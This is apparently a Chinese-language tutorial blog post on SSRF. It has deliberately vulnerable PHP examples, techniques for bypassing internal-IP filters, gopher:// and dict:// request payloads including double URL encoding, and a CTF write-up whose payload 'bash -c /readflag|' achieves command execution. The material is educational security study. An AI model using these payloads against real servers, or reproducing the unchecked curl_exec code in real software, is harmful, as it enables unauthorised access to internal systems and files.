SSRF漏洞详解

概述

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

原理

有些网站提供了从其他服务器上获取数据的功能,就是通过访问指定的URL来获取图片,下载文件,读取文件内容等,如果这个URL是一个内网地址,内网信息就可能被泄露。

SSRF可以做什么?

  1. 可以对外网服务器所在的内网进行端口扫描

  2. 可以对内网web应用进行指纹识别

  3. 攻击内外网的web应用,如sql注入、命令执行等

  4. 利用file协议读取本地文件等

利用函数

file_get_contents()

file_get_contents():把文件读入一个字符串

test.php

<?php
     $content=file_get_contents($_GET['url']);
     echo "$content";
?>

fsockopen()

fsockopen():打开一个网络连接或者一个Unix套接字连接

test.php

<?php
    $host=$_GET['url'];
    $port=$_GET['port'];

    $fp = fsockopen($host, $port, $errno, $errstr, 30);
    if ($fp) {
        echo "successfully connect";
    }
?>

curl_exec()

curl_exec():执行一个cURL会话,是危害最大的函数

test.php

<?php
    $url = $_GET['url'];

    //创建一个cURL资源
    $c = curl_init($url);

    //抓取URL并把它传递给浏览器
    echo curl_exec($c);
?>

绕过方式

一般防护方法是验证是否是内网IP,如果是内网IP则阻止访问

1.攻击本地

http://127.0.0.1:80
http://localhost:22

2.利用[::]

http://[::]:80/  >>>  http://127.0.0.1

这个方法我没有实验成功,应该是不能用了

3.利用@

http://example.com@127.0.0.1

4.利用短地址

http://dwz.cn/11SMa  >>>  http://127.0.0.1

5.利用特殊域名

利用的原理是DNS解析

          10.0.0.1.xip.io   resolves to   10.0.0.1
      www.10.0.0.1.xip.io   resolves to   10.0.0.1
   mysite.10.0.0.1.xip.io   resolves to   10.0.0.1
  foo.bar.10.0.0.1.xip.io   resolves to   10.0.0.1
     192.168.20.46.xip.io   resolves to   192.168.20.46

6.利用DNS解析

在域名上设置A记录,指向127.0.0.1,需要有域名

7.利用句号

127。0。0。1

8.利用进制转换

IP:127.0.0.1
八进制:017700000001
十六进制:0x7F000001

9.利用协议

Gopher协议

定义:Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,然后构成符合gopher协议格式的请求 可以利用gopher协议反弹shell

格式

gopher://<host>:<port>/<gopher-path>_后接TCP数据流
  • gopher的默认端口是70
curl命令中使用gopher

创建一个test.php供访问

//test.php
<?php
    echo $_GET['name'];
?>

用gopher发送get请求

先准备一个get请求的数据包。(我的电脑IP是192.168.1.75)

GET /test.php?name=ssrf HTTP/1.1
HOST: 192.168.1.75

然后转换为gopher格式

  • 进行URL编码
  • 问号(?)也需要转码为URL编码,也就是%3f
  • 回车换行要变为%0d%0a
  • 在HTTP包的最后要加%0d%0a,代表消息结束
GET%20%2Ftest.php%3Fname%3Dssrf%20%2FHTTP%2F1.1%0d%0aHOST%3A%20192.168.1.75%0d%0a

执行命令

curl gopher://192.168.1.75:80/_GET%20%2Ftest.php%3Fname%3Dssrf%20HTTP%2F1.1%0d%0aHost%3A%20192.168.1.75%0d%0a

继续测试,修改get数据包中的Host=1.1.1.1

curl gopher://192.168.1.75:80/_GET%20%2Ftest.php%3Fname%3Dssrf%20HTTP%2F1.1%0d%0aHost%3A%201.1.1.1%0d%0a

竟然执行成功了,那么修改gopher://1.1.1.1:80呢?

curl gopher://1.1.1.1:80/_GET%20%2Ftest.php%3Fname%3Dssrf%20HTTP%2F1.1%0d%0aHost%3A%20192.168.1.75%0d%0a

这个报错了,所以IP只受gopher://ip:port影响,不受数据包里的Host影响

用gopher发送post请求

数据包

POST /test.php HTTP/1.1
Host:192.168.1.75
Content-Type:application/x-www-form-urlencoded
Content-Length:9

name=ssrf

转换为gopher格式

POST%20%2Ftest.php%20HTTP%2F1.1%0d%0ahost%3A192.168.1.75%0d%0aContent-Type%3Aapplication%2Fx-www-form-urlencoded%0d%0aContent-Length%3A9%0d%0aname%3Dssrf%0d%0a

执行命令

curl gopher://192.168.1.75:80/_POST%20%2Ftest.php%20HTTP%2F1.1%0d%0aHost%3A192.168.1.75%0d%0aContent-Type%3Aapplication%2Fx-www-form-urlencoded%0d%0aContent-Length%3A9%0d%0a%0d%0aname%3Dssrf%0d%0a

SSRF中使用gopher

上面我们知道了如何使用curl命令发起gopher请求,接着我们学习SSRF中怎么使用gopher

先创建一个存在SSRF漏洞的php文件

//test2.php
<?php
    $url = $_GET['url'];
    echo $url;

    // 创建一个cURL资源
    $ch = curl_init();
    // 设置URL和相应的选项
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_HEADER, 0);
    // 抓取URL并把它传递给浏览器
    $output = curl_exec($ch);
    // 关闭cURL资源,并且释放系统资源
    curl_close($ch);

    var_dump($output);
?>

利用上面讲过的的get请求数据包,构造一个url

http://192.168.1.75/test2.php?url=gopher://192.168.1.75:80/_GET%20%2Ftest.php%3Fname%3Dssrf%20%2FHTTP%2F1.1%0d%0aHOST%3A%20192.168.1.75%0d%0a

访问发现没有输出ssrf,原因是PHP在接收到参数后会做一次URL解码,所以test2.php中执行的是

curl_exce("gopher://192.168.1.75:80/_GET /test.php?name=ssrf /HTTP/1.1 HOST: 192.168.1.75")

而不是

curl_exce("gopher://192.168.1.75:80/_GET%20%2Ftest.php%3Fname%3Dssrf%20%2FHTTP%2F1.1%0d%0aHOST%3A%20192.168.1.75%0d%0a")

所以我们需要进行两次URL编码

http://192.168.1.75/test2.php?url=gopher://192.168.1.75:80/_GET%2520%252Ftest.php%253Fname%253Dssrf%2520HTTP%252F1.1%250d%250aHOST%253A%2520192.168.1.75%250d%250a

显示ssrf,成功在ssrf中利用gopher

dict协议

定义:词典网络协议,在RFC 2009中进行描述。它的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628。

作用

可以探测端口的开放情况和指纹信息

使用方法

dict://<host>:<port>/命令:参数

注意

dict协议执行命令要一条一条执行

file协议

file协议主要用于访问本地计算机中的文件

使用方法

file:///文件路径

漏洞利用

通过CTF题目来学习如何利用SSRF

题目是BUUCTF上的[HITCON 2017]SSRFme

源码分析

//获取$_SERVER["REMOTE_ADDR"]
if (isset($\_SERVER['HTTP\_X\_FORWARDED\_FOR'])) {
    $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
    $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

//输出$_SERVER["REMOTE_ADDR"]
echo $_SERVER["REMOTE_ADDR"];

//根据$_SERVER["REMOTE_ADDR"]建立一个沙箱
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

//获取$_GET["url"],执行GET命令
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

//获取文件路径和文件名
$info = pathinfo($_GET["filename"]);
$dir  = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);

//将GET命令返回的内容写入filename文件中
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

由于后端代码没有对$_GET["url"]进行检测,直接作为GET命令的参数,所以存在SSRF漏洞

思路

  1. 传入?url=file:///,这样服务器会执行GET file:///,访问了根目录

  2. 传入?filename=abc,这样上面执行的结果就会保存在这里面

  3. 根据REMOTE_ADDR的值进行md5计算,得出沙箱目录,然后访问沙箱目录下的abc

?url=file:///flag&filename=flag,获取flag,但是没有作用

应该是用readflag来读取flag,想办法获取readflag的执行结果

GET命令会调用底层的open()函数,open()存在命令执行(要执行的命令先前必须要有以命令为文件名的文件存在),并且还支持file函数

  • 所以我们先创建一个以命令为文件名的文件,?url=&filename=bash -c /readflag|,然后执行?url=file:bash -c /readflag|&filename=flag,最后访问沙箱目录下的flag文件即可

  • 参考文章:

https://blog.csdn.net/qq_45521281/article/details/105868449

https://www.secpulse.com/archives/65832.html

https://zhuanlan.zhihu.com/p/116039804

https://zhuanlan.zhihu.com/p/112055947

总结

上面这道题就是利用SSRF访问到了服务器内网的文件,以后遇到其他题目了再继续总结


文章作者: MissPower007
文章链接: http://time.pings.fun
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 MissPower007 !
评论
  目录